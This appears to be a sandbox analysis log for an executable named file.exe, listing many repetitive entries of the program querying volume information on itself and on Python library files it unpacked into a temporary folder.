Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
